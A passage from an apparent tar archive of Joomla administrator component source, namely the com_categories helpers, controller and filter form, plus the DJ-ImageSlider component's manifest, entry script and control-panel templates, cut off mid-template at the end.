			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>

		<field
			name="access"
			type="accesslevel"
			label="JOPTION_FILTER_ACCESS"
			description="JOPTION_FILTER_ACCESS_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_ACCESS</option>
		</field>

		<field
			name="language"
			type="contentlanguage"
			label="JOPTION_FILTER_LANGUAGE"
			description="JOPTION_FILTER_LANGUAGE_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_LANGUAGE</option>
			<option value="*">JALL</option>
		</field>

		<field
			name="tag"
			type="tag"
			label="JOPTION_FILTER_TAG"
			description="JOPTION_FILTER_TAG_DESC"
			mode="nested"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_TAG</option>
		</field>

		<field
			name="level"
			type="integer"
			label="JOPTION_FILTER_LEVEL"
			description="JOPTION_FILTER_LEVEL_DESC"
			first="1"
			last="10"
			step="1"
			languages="*"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_MAX_LEVELS</option>
		</field>
	</fields>

	<fields name="list">

		<field
			name="fullordering"
			type="list"
			label="JGLOBAL_SORT_BY"
			description="JGLOBAL_SORT_BY"
			default="a.lft ASC"
			statuses="*,0,1,2,-2"
			onchange="this.form.submit();"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.lft ASC">JGRID_HEADING_ORDERING_ASC</option>
			<option value="a.lft DESC">JGRID_HEADING_ORDERING_DESC</option>
			<option value="a.published ASC">JSTATUS_ASC</option>
			<option value="a.published DESC">JSTATUS_DESC</option>
			<option value="a.title ASC">JGLOBAL_TITLE_ASC</option>
			<option value="a.title DESC">JGLOBAL_TITLE_DESC</option>
			<option value="access_level ASC">JGRID_HEADING_ACCESS_ASC</option>
			<option value="access_level DESC">JGRID_HEADING_ACCESS_DESC</option>
			<option value="association ASC" requires="associations">JASSOCIATIONS_ASC</option>
			<option value="association DESC" requires="associations">JASSOCIATIONS_DESC</option>
			<option value="language_title ASC">JGRID_HEADING_LANGUAGE_ASC</option>
			<option value="language_title DESC">JGRID_HEADING_LANGUAGE_DESC</option>
			<option value="a.id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id DESC">JGRID_HEADING_ID_DESC</option>
		</field>

		<field
			name="limit"
			type="limitbox"
			label="COM_CATEGORIES_LIST_LIMIT"
			description="COM_CATEGORIES_LIST_LIMIT_DESC"
			default="25"
			class="input-mini"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_categories/helpers/association.php000060400000003206152455305310014216 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_categories
 *
 * @copyright   (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('CategoriesHelper', JPATH_ADMINISTRATOR . '/components/com_categories/helpers/categories.php');

/**
 * Category Component Association Helper
 *
 * @since  3.0
 */
abstract class CategoryHelperAssociation
{
	public static $category_association = true;

	/**
	 * Method to get the associations for a given category
	 *
	 * @param   integer  $id         Id of the item
	 * @param   string   $extension  Name of the component
	 * @param   string   $layout     Category layout
	 *
	 * @return  array    Array of associations for the component categories
	 *
	 * @since  3.0
	 */
	public static function getCategoryAssociations($id = 0, $extension = 'com_content', $layout = null)
	{
		$return = array();

		if ($id)
		{
			// Load route helper
			jimport('helper.route', JPATH_COMPONENT_SITE);
			$helperClassname = ucfirst(substr($extension, 4)) . 'HelperRoute';

			$associations = CategoriesHelper::getAssociations($id, $extension);

			foreach ($associations as $tag => $item)
			{
				if (class_exists($helperClassname) && is_callable(array($helperClassname, 'getCategoryRoute')))
				{
					$return[$tag] = $helperClassname::getCategoryRoute($item, $tag, $layout);
				}
				else
				{
					$viewLayout = $layout ? '&layout=' . $layout : '';

					$return[$tag] = 'index.php?option=' . $extension . '&view=category&id=' . $item . $viewLayout;
				}
			}
		}

		return $return;
	}
}
com_categories/helpers/html/categoriesadministrator.php000060400000004573152455305310017604 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_categories
 *
 * @copyright   (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

JLoader::register('CategoriesHelper', JPATH_ADMINISTRATOR . '/components/com_categories/helpers/categories.php');

/**
 * Administrator category HTML
 *
 * @since  3.2
 */
abstract class JHtmlCategoriesAdministrator
{
	/**
	 * Render the list of associated items
	 *
	 * @param   integer  $catid      Category identifier to search its associations
	 * @param   string   $extension  Category Extension
	 *
	 * @return  string   The language HTML
	 *
	 * @since   3.2
	 * @throws  Exception
	 */
	public static function association($catid, $extension = 'com_content')
	{
		// Defaults
		$html = '';

		// Get the associations
		if ($associations = CategoriesHelper::getAssociations($catid, $extension))
		{
			$associations = ArrayHelper::toInteger($associations);

			// Get the associated categories
			$db = JFactory::getDbo();
			$query = $db->getQuery(true)
				->select('c.id, c.title')
				->select('l.sef as lang_sef')
				->select('l.lang_code')
				->from('#__categories as c')
				->where('c.id IN (' . implode(',', array_values($associations)) . ')')
				->where('c.id != ' . $catid)
				->join('LEFT', '#__languages as l ON c.language=l.lang_code')
				->select('l.image')
				->select('l.title as language_title');
			$db->setQuery($query);

			try
			{
				$items = $db->loadObjectList('id');
			}
			catch (RuntimeException $e)
			{
				throw new Exception($e->getMessage(), 500, $e);
			}

			if ($items)
			{
				foreach ($items as &$item)
				{
					$text    = $item->lang_sef ? strtoupper($item->lang_sef) : 'XX';
					$url     = JRoute::_('index.php?option=com_categories&task=category.edit&id=' . (int) $item->id . '&extension=' . $extension);
					$classes = 'hasPopover label label-association label-' . $item->lang_sef;

					$item->link = '<a href="' . $url . '" title="' . $item->language_title . '" class="' . $classes
						. '" data-content="' . htmlspecialchars($item->title, ENT_QUOTES, 'UTF-8') . '" data-placement="top">'
						. $text . '</a>';
				}
			}

			JHtml::_('bootstrap.popover');

			$html = JLayoutHelper::render('joomla.content.associations', $items);
		}

		return $html;
	}
}
com_categories/helpers/categories.php000060400000011423152455305310014027 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_categories
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Categories helper.
 *
 * @since  1.6
 */
class CategoriesHelper
{
	/**
	 * Configure the Submenu links.
	 *
	 * @param   string  $extension  The extension being used for the categories.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public static function addSubmenu($extension)
	{
		// Avoid nonsense situation.
		if ($extension == 'com_categories')
		{
			return;
		}

		$parts = explode('.', $extension);
		$component = $parts[0];

		if (count($parts) > 1)
		{
			$section = $parts[1];
		}

		// Try to find the component helper.
		$eName = str_replace('com_', '', $component);
		$file = JPath::clean(JPATH_ADMINISTRATOR . '/components/' . $component . '/helpers/' . $eName . '.php');

		if (file_exists($file))
		{
			$prefix = ucfirst(str_replace('com_', '', $component));
			$cName = $prefix . 'Helper';

			JLoader::register($cName, $file);

			if (class_exists($cName))
			{
				if (is_callable(array($cName, 'addSubmenu')))
				{
					$lang = JFactory::getLanguage();

					// Loading language file from the administrator/language directory then
					// loading language file from the administrator/components/*extension*/language directory
					$lang->load($component, JPATH_BASE, null, false, true)
					|| $lang->load($component, JPath::clean(JPATH_ADMINISTRATOR . '/components/' . $component), null, false, true);

					call_user_func(array($cName, 'addSubmenu'), 'categories' . (isset($section) ? '.' . $section : ''));
				}
			}
		}
	}

	/**
	 * Gets a list of the actions that can be performed.
	 *
	 * @param   string   $extension   The extension.
	 * @param   integer  $categoryId  The category ID.
	 *
	 * @return  JObject
	 *
	 * @since   1.6
	 * @deprecated  3.2  Use JHelperContent::getActions() instead
	 */
	public static function getActions($extension, $categoryId = 0)
	{
		// Log usage of deprecated function
		try
		{
			JLog::add(
				sprintf('%s() is deprecated, use JHelperContent::getActions() with new arguments order instead.', __METHOD__),
				JLog::WARNING,
				'deprecated'
			);
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		// Get list of actions
		return JHelperContent::getActions($extension, 'category', $categoryId);
	}

	/**
	 * Gets a list of associations for a given item.
	 *
	 * @param   integer  $pk         Content item key.
	 * @param   string   $extension  Optional extension name.
	 *
	 * @return  array of associations.
	 */
	public static function getAssociations($pk, $extension = 'com_content')
	{
		$langAssociations = JLanguageAssociations::getAssociations($extension, '#__categories', 'com_categories.item', $pk, 'id', 'alias', '');
		$associations     = array();
		$user             = JFactory::getUser();
		$groups           = implode(',', $user->getAuthorisedViewLevels());

		foreach ($langAssociations as $langAssociation)
		{
			// Include only published categories with user access
			$arrId    = explode(':', $langAssociation->id);
			$assocId  = $arrId[0];

			$db    = \JFactory::getDbo();

			$query = $db->getQuery(true)
				->select($db->qn('published'))
				->from($db->qn('#__categories'))
				->where('access IN (' . $groups . ')')
				->where($db->qn('id') . ' = ' . (int) $assocId);

			$result = (int) $db->setQuery($query)->loadResult();

			if ($result === 1)
			{
				$associations[$langAssociation->language] = $langAssociation->id;
			}
		}

		return $associations;
	}

	/**
	 * Check if Category ID exists otherwise assign to ROOT category.
	 *
	 * @param   mixed   $catid      Name or ID of category.
	 * @param   string  $extension  Extension that triggers this function
	 *
	 * @return  integer  $catid  Category ID.
	 */
	public static function validateCategoryId($catid, $extension)
	{
		JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_categories/tables');

		$categoryTable = JTable::getInstance('Category');

		$data = array();
		$data['id'] = $catid;
		$data['extension'] = $extension;

		if (!$categoryTable->load($data))
		{
			$catid = 0;
		}

		return (int) $catid;
	}

	/**
	 * Create new Category from within item view.
	 *
	 * @param   array  $data  Array of data for new category.
	 *
	 * @return  integer
	 */
	public static function createCategory($data)
	{
		JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_categories/models');
		JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_categories/tables');

		$categoryModel = JModelLegacy::getInstance('Category', 'CategoriesModel', array('ignore_request' => true));
		$categoryModel->save($data);

		$catid = $categoryModel->getState('category.id');

		return $catid;
	}
}
com_categories/tables/category.php000060400000001426152455305310013331 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_categories
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Category table
 *
 * @since  1.6
 */
class CategoriesTableCategory extends JTableCategory
{
	/**
	 * Method to delete a node and, optionally, its child nodes from the table.
	 *
	 * @param   integer  $pk        The primary key of the node to delete.
	 * @param   boolean  $children  True to delete child nodes, false to move them up a level.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 */
	public function delete($pk = null, $children = false)
	{
		return parent::delete($pk, $children);
	}
}
com_categories/categories.php000060400000001647152455305310012374 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_categories
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
JHtml::_('behavior.tabstate');

$input = JFactory::getApplication()->input;

// If you have a URL like this: com_categories&view=categories&extension=com_example.example_cat
$parts = explode('.', $input->get('extension'));
$component = $parts[0];

if (!JFactory::getUser()->authorise('core.manage', $component))
{
	throw new JAccessExceptionNotallowed(JText::_('JERROR_ALERTNOAUTHOR'), 403);
}

JLoader::register('JHtmlCategoriesAdministrator', JPATH_ADMINISTRATOR . '/components/com_categories/helpers/html/categoriesadministrator.php');

$controller = JControllerLegacy::getInstance('Categories');
$controller->execute($input->get('task'));
$controller->redirect();
com_categories/categories.xml000060400000001771152455305310012403 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="3.1" method="upgrade">
	<name>com_categories</name>
	<author>Joomla! Project</author>
	<creationDate>December 2007</creationDate>
	<copyright>(C) 2007 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>COM_CATEGORIES_XML_DESCRIPTION</description>
	<administration>
		<files folder="admin">
			<filename>categories.php</filename>
			<filename>config.xml</filename>
			<filename>controller.php</filename>
			<folder>controllers</folder>
			<folder>helpers</folder>
			<folder>models</folder>
			<folder>views</folder>
		</files>
		<languages folder="admin">
			<language tag="en-GB">language/en-GB.com_categories.ini</language>
			<language tag="en-GB">language/en-GB.com_categories.sys.ini</language>
		</languages>
	</administration>
</extension>
com_categories/controller.php000060400000005453152455305310012431 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_categories
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Categories view class for the Category package.
 *
 * @since  1.6
 */
class CategoriesController extends JControllerLegacy
{
	/**
	 * The extension for which the categories apply.
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $extension;

	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JControllerLegacy
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		parent::__construct($config);

		// Guess the JText message prefix. Defaults to the option.
		if (empty($this->extension))
		{
			$this->extension = $this->input->get('extension', 'com_content');
		}
	}

	/**
	 * Method to display a view.
	 *
	 * @param   boolean  $cachable   If true, the view output will be cached
	 * @param   array    $urlparams  An array of safe URL parameters and their variable types, for valid values see {@link JFilterInput::clean()}.
	 *
	 * @return  CategoriesController  This object to support chaining.
	 *
	 * @since   1.5
	 */
	public function display($cachable = false, $urlparams = array())
	{
		// Get the document object.
		$document = JFactory::getDocument();

		// Set the default view name and format from the Request.
		$vName   = $this->input->get('view', 'categories');
		$vFormat = $document->getType();
		$lName   = $this->input->get('layout', 'default', 'string');
		$id      = $this->input->getInt('id');

		// Check for edit form.
		if ($vName == 'category' && $lName == 'edit' && !$this->checkEditId('com_categories.edit.category', $id))
		{
			// Somehow the person just went to the form - we don't allow that.
			$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id));
			$this->setMessage($this->getError(), 'error');
			$this->setRedirect(JRoute::_('index.php?option=com_categories&view=categories&extension=' . $this->extension, false));

			return false;
		}

		// Get and render the view.
		if ($view = $this->getView($vName, $vFormat))
		{
			// Get the model for the view.
			$model = $this->getModel($vName, 'CategoriesModel', array('name' => $vName . '.' . substr($this->extension, 4)));

			// Push the model into the view (as default).
			$view->setModel($model, true);
			$view->setLayout($lName);

			// Push document object into the view.
			$view->document = $document;

			// Load the submenu.
			JLoader::register('CategoriesHelper', JPATH_ADMINISTRATOR . '/components/com_categories/helpers/categories.php');

			CategoriesHelper::addSubmenu($model->getState('filter.extension'));
			$view->display();
		}

		return $this;
	}
}
com_djimageslider/djimageslider.xml000060400000003133152455305310013531 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="3.8" method="upgrade" client="admin">
    <name>com_djimageslider</name>
    <creationDate>2018-12-19</creationDate>
    <author>DJ-Extensions.com</author>
	<copyright>Copyright (C) 2017 DJ-Extensions.com, All rights reserved.</copyright>
	<license>http://www.gnu.org/licenses GNU/GPL</license>
	<authorEmail>contact@dj-extensions.com</authorEmail>
	<authorUrl>http://dj-extensions.com</authorUrl>
    <version>4.5.1</version>
	<description>DJ-ImageSlider component</description>
	<scriptfile>script.djimageslider.php</scriptfile>

	<install>
		<sql>
            <file charset="utf8" driver="mysql">sql/install.sql</file>
        </sql>
    </install>
	<uninstall>
		<sql>
            <file charset="utf8" driver="mysql">sql/uninstall.sql</file>
        </sql>
    </uninstall>
    <update>
		<schemas>
			<schemapath type="mysql">sql/updates</schemapath>
		</schemas>
	</update>

    <administration>
    	<menu img="components/com_djimageslider/assets/icon-16-djimageslider.png">COM_DJIMAGESLIDER</menu>
    	<files folder="administrator">
        	<filename>djimageslider.php</filename>
            <filename>controller.php</filename>
			<filename>index.html</filename>
			<filename>config.xml</filename>
			<filename>access.xml</filename>
			<folder>assets</folder>
			<folder>controllers</folder>
			<folder>helpers</folder>
			<folder>language</folder>
            <folder>models</folder>
            <folder>sql</folder>
            <folder>tables</folder>
            <folder>views</folder>
        </files>
    </administration>
</extension>
com_djimageslider/djimageslider.php000060400000004335152455305310013525 0ustar00<?php
/**
 * @version $Id$
 * @package DJ-ImageSlider
 * @subpackage DJ-ImageSlider Component
 * @copyright Copyright (C) 2017 DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 * @developer Szymon Woronowski - szymon.woronowski@design-joomla.eu
 *
 *
 * DJ-ImageSlider is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * DJ-ImageSlider is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with DJ-ImageSlider. If not, see <http://www.gnu.org/licenses/>.
 *
 */

// no direct access
defined( '_JEXEC' ) or die( 'Restricted access' );
defined('DS') or define('DS', DIRECTORY_SEPARATOR);

// Include dependancies
jimport('joomla.application.component.controller');

$db = JFactory::getDBO();
$db->setQuery("SELECT manifest_cache FROM #__extensions WHERE element='com_djimageslider' LIMIT 1");
$version = json_decode($db->loadResult());
$version = $version->version;

define('DJIMAGESLIDERFOOTER', '<div style="text-align: center; margin: 10px 0;">DJ-ImageSlider (version '.$version.'), &copy; 2010-'.JFactory::getDate()->format('Y').' Copyright by <a target="_blank" href="http://dj-extensions.com">DJ-Extensions.com</a>, All Rights Reserved.<br /><a target="_blank" href="http://dj-extensions.com"><img src="'.JURI::base().'components/com_djimageslider/assets/logo.png" alt="DJ-Extensions.com" style="margin: 20px 0 0;" /></a></div>');

$document = JFactory::getDocument();
if ($document->getType() == 'html') {
	$document->addStyleSheet(JURI::base(true).'/components/com_djimageslider/assets/admin.css');
}

$controller	= JControllerLegacy::getInstance('djimageslider');

// Perform the Request task
$controller->execute( JFactory::getApplication()->input->get('task') );
$controller->redirect();

?>com_djimageslider/views/cpanel/index.html000060400000000054152455305310014577 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_djimageslider/views/cpanel/tmpl/legacy.php000060400000014473152455305310015545 0ustar00<?php 
/**
 * @version $Id$
 * @package DJ-ImageSlider
 * @subpackage DJ-ImageSlider Component
 * @copyright Copyright (C) 2017 DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 * @developer Szymon Woronowski - szymon.woronowski@design-joomla.eu
 *
 *
 * DJ-ImageSlider is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * DJ-ImageSlider is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with DJ-ImageSlider. If not, see <http://www.gnu.org/licenses/>.
 *
 */


defined('_JEXEC') or die('Restricted access'); ?>

<?php if (version_compare(JVERSION, '3.0', '>=')) { ?>

<div class="<?php echo $this->classes->row ?>">

<?php if(!empty( $this->sidebar)): ?>
<div id="j-sidebar-container" class="<?php echo $this->classes->col ?>2">
	<?php echo $this->sidebar; ?>
</div>
<div id="j-main-container" class="<?php echo $this->classes->col ?>10">
<?php else: ?>
<div id="j-main-container">
<?php endif;?>
	
	<div class="<?php echo $this->classes->row ?>">
		<div class="cpanel-left <?php echo $this->classes->col ?>8">
			<div class="cpanel3">
			
				<h3><?php echo JText::_('COM_DJIMAGESLIDER_SUBMENU_CPANEL') ?></h3>
			
				<div class="icon">
					<a href="index.php?option=com_categories&extension=com_djimageslider">
						<img src="components/com_djimageslider/assets/icon-48-category.png" alt="<?php echo JText::_('COM_DJIMAGESLIDER_SUBMENU_CATEGORIES') ?>" />
						<span><?php echo JText::_('COM_DJIMAGESLIDER_SUBMENU_CATEGORIES'); ?></span>
					</a>
				</div>
					
				<div class="icon">
					<a href="index.php?option=com_djimageslider&view=items">
						<img src="components/com_djimageslider/assets/icon-48-slides.png" alt="<?php echo JText::_('COM_DJIMAGESLIDER_SUBMENU_SLIDES') ?>" />
						<span><?php echo JText::_('COM_DJIMAGESLIDER_SUBMENU_SLIDES'); ?></span>
					</a>
				</div>
				
				<div class="icon">
					<a href="index.php?option=com_categories&view=category&layout=edit&extension=com_djimageslider">
						<img src="components/com_djimageslider/assets/icon-48-category-add.png" alt="<?php echo JText::_('COM_DJIMAGESLIDER_NEW_CATEGORY') ?>" />
						<span><?php echo JText::_('COM_DJIMAGESLIDER_NEW_CATEGORY'); ?></span>
					</a>
				</div>

				<div class="icon">
					<a href="index.php?option=com_djimageslider&view=item&layout=edit">
						<img src="components/com_djimageslider/assets/icon-48-slide-add.png" alt="<?php echo JText::_('COM_DJIMAGESLIDER_NEW_SLIDE') ?>" />
						<span><?php echo JText::_('COM_DJIMAGESLIDER_NEW_SLIDE'); ?></span>
					</a>
				</div>
				
				<div class="icon">
					<a href="https://dj-extensions.com/extensions/dj-image-slider.html" target="_blank">
						<img src="components/com_djimageslider/assets/icon-48-help.png" alt="<?php echo JText::_('COM_DJIMAGESLIDER_DOCUMENTATION') ?>" />
						<span><?php echo JText::_('COM_DJIMAGESLIDER_DOCUMENTATION'); ?></span>
					</a>
				</div>
			</div>
		</div>
			
		<div class="cpanel-right <?php echo $this->classes->col ?>4">
			<div class="cpanel well">
				<div class="<?php echo $this->classes->row ?>">
					<iframe src="https://dj-extensions.com/index.php?option=com_content&view=article&tmpl=component&id=437" style="border:0; width: 100%; max-width: 450px; height: 370px; margin: -10px 0; padding: 0;"></iframe>
				</div>
			</div>
		</div>

	</div>
</div>
</div>

<?php } else { ?>

<table class="adminform">
	<tr>
		<td width="55%" valign="top">
			<div class="cpanel-left">
				<div id="cpanel">
					<div style="float:left;">
						<div class="icon">
							<a href="index.php?option=com_categories&extension=com_djimageslider">
								<img src="components/com_djimageslider/assets/icon-48-category.png" alt="<?php echo JText::_('COM_DJIMAGESLIDER_SUBMENU_CATEGORIES') ?>" />
								<span><?php echo JText::_('COM_DJIMAGESLIDER_SUBMENU_CATEGORIES'); ?></span>
							</a>
						</div>
					</div>
					<div style="float:left;">
						<div class="icon">
							<a href="index.php?option=com_djimageslider&view=items">
								<img src="components/com_djimageslider/assets/icon-48-slides.png" alt="<?php echo JText::_('COM_DJIMAGESLIDER_SUBMENU_SLIDES') ?>" />
								<span><?php echo JText::_('COM_DJIMAGESLIDER_SUBMENU_SLIDES'); ?></span>
							</a>
						</div>
					</div>
					<div style="float:left;">
						<div class="icon">
							<a href="index.php?option=com_categories&view=category&layout=edit&extension=com_djimageslider">
								<img src="components/com_djimageslider/assets/icon-48-category-add.png" alt="<?php echo JText::_('COM_DJIMAGESLIDER_NEW_CATEGORY') ?>" />
								<span><?php echo JText::_('COM_DJIMAGESLIDER_NEW_CATEGORY'); ?></span>
							</a>
						</div>
					</div>
					<div style="float:left;">
						<div class="icon">
							<a href="index.php?option=com_djimageslider&view=item&layout=edit">
								<img src="components/com_djimageslider/assets/icon-48-slide-add.png" alt="<?php echo JText::_('COM_DJIMAGESLIDER_NEW_SLIDE') ?>" />
								<span><?php echo JText::_('COM_DJIMAGESLIDER_NEW_SLIDE'); ?></span>
							</a>
						</div>
					</div>
					<div style="float:left;">
						<div class="icon">
							<a href="https://dj-extensions.com/extensions/dj-image-slider.html" target="_blank">
								<img src="components/com_djimageslider/assets/icon-48-help.png" alt="<?php echo JText::_('COM_DJIMAGESLIDER_DOCUMENTATION') ?>" />
								<span><?php echo JText::_('COM_DJIMAGESLIDER_DOCUMENTATION'); ?></span>
							</a>
						</div>
					</div>
			
				</div>
			</div>
			<div class="cpanel-right">
				<div class="cpanel">					
						<iframe src="https://dj-extensions.com/index.php?option=com_content&view=article&tmpl=component&id=437" style="border:0; width: 100%; max-width: 450px; height: 370px; margin: -10px 0; padding: 0;"></iframe>
					<div style="clear: both;" ></div>
				</div>
			</div>
		</td>
	</tr>
</table>
<?php } ?>

<div class="clr" style="clear: both"></div>
<?php echo DJIMAGESLIDERFOOTER; ?>com_djimageslider/views/cpanel/tmpl/index.html000060400000000054152455305310015553 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_djimageslider/views/cpanel/tmpl/default.php000060400000013664152455305310015726 0ustar00<?php 
/**
 * @version $Id$
 * @package DJ-ImageSlider
 * @subpackage DJ-ImageSlider Component
 * @copyright Copyright (C) 2017 DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 * @developer Szymon Woronowski - szymon.woronowski@design-joomla.eu
 *
 *
 * DJ-ImageSlider is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * DJ-ImageSlider is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with DJ-ImageSlider. If not, see <http://www.gnu.org/licenses/>.
 *
 */


defined('_JEXEC') or die('Restricted access'); ?>

<?php if (version_compare(JVERSION, '3.0', '>=')) { ?>

<div class="<?php echo $this->classes->row ?>">

<?php if(!empty( $this->sidebar)): ?>
<div id="j-sidebar-container" class="<?php echo $this->classes->col ?>2">
	<?php echo $this->sidebar; ?>
</div>
<div id="j-main-container" class="<?php echo $this->classes->col ?>10">
<?php else: ?>
<div id="j-main-container">
<?php endif;?>
	
	<div class="<?php echo $this->classes->row ?>">
		<div class="cpanel-left <?php echo $this->classes->col ?>8">
			<div class="cpanel">
			
				<h3><?php echo JText::_('COM_DJIMAGESLIDER_SUBMENU_CPANEL') ?></h3>
			
				<div class="icon">
					<a href="index.php?option=com_categories&extension=com_djimageslider">
						<img src="components/com_djimageslider/assets/icon-48-category.png" alt="<?php echo JText::_('COM_DJIMAGESLIDER_SUBMENU_CATEGORIES') ?>" />
						<span><?php echo JText::_('COM_DJIMAGESLIDER_SUBMENU_CATEGORIES'); ?></span>
					</a>
				</div>
					
				<div class="icon">
					<a href="index.php?option=com_djimageslider&view=items">
						<img src="components/com_djimageslider/assets/icon-48-slides.png" alt="<?php echo JText::_('COM_DJIMAGESLIDER_SUBMENU_SLIDES') ?>" />
						<span><?php echo JText::_('COM_DJIMAGESLIDER_SUBMENU_SLIDES'); ?></span>
					</a>
				</div>
				
				<div class="icon">
					<a href="index.php?option=com_categories&view=category&layout=edit&extension=com_djimageslider">
						<img src="components/com_djimageslider/assets/icon-48-category-add.png" alt="<?php echo JText::_('COM_DJIMAGESLIDER_NEW_CATEGORY') ?>" />
						<span><?php echo JText::_('COM_DJIMAGESLIDER_NEW_CATEGORY'); ?></span>
					</a>
				</div>

				<div class="icon">
					<a href="index.php?option=com_djimageslider&view=item&layout=edit">
						<img src="components/com_djimageslider/assets/icon-48-slide-add.png" alt="<?php echo JText::_('COM_DJIMAGESLIDER_NEW_SLIDE') ?>" />
						<span><?php echo JText::_('COM_DJIMAGESLIDER_NEW_SLIDE'); ?></span>
					</a>
				</div>
				
				<div class="icon">
					<a href="https://dj-extensions.com/extensions/dj-image-slider.html" target="_blank">
						<img src="components/com_djimageslider/assets/icon-48-help.png" alt="<?php echo JText::_('COM_DJIMAGESLIDER_DOCUMENTATION') ?>" />
						<span><?php echo JText::_('COM_DJIMAGESLIDER_DOCUMENTATION'); ?></span>
					</a>
				</div>
			</div>
		</div>


	</div>
</div>
</div>

<?php } else { ?>

<table class="adminform">
	<tr>
		<td width="55%" valign="top">
			<div class="cpanel-left">
				<div id="cpanel">
					<div style="float:left;">
						<div class="icon">
							<a href="index.php?option=com_categories&extension=com_djimageslider">
								<img src="components/com_djimageslider/assets/icon-48-category.png" alt="<?php echo JText::_('COM_DJIMAGESLIDER_SUBMENU_CATEGORIES') ?>" />
								<span><?php echo JText::_('COM_DJIMAGESLIDER_SUBMENU_CATEGORIES'); ?></span>
							</a>
						</div>
					</div>
					<div style="float:left;">
						<div class="icon">
							<a href="index.php?option=com_djimageslider&view=items">
								<img src="components/com_djimageslider/assets/icon-48-slides.png" alt="<?php echo JText::_('COM_DJIMAGESLIDER_SUBMENU_SLIDES') ?>" />
								<span><?php echo JText::_('COM_DJIMAGESLIDER_SUBMENU_SLIDES'); ?></span>
							</a>
						</div>
					</div>
					<div style="float:left;">
						<div class="icon">
							<a href="index.php?option=com_categories&view=category&layout=edit&extension=com_djimageslider">
								<img src="components/com_djimageslider/assets/icon-48-category-add.png" alt="<?php echo JText::_('COM_DJIMAGESLIDER_NEW_CATEGORY') ?>" />
								<span><?php echo JText::_('COM_DJIMAGESLIDER_NEW_CATEGORY'); ?></span>
							</a>
						</div>
					</div>
					<div style="float:left;">
						<div class="icon">
							<a href="index.php?option=com_djimageslider&view=item&layout=edit">
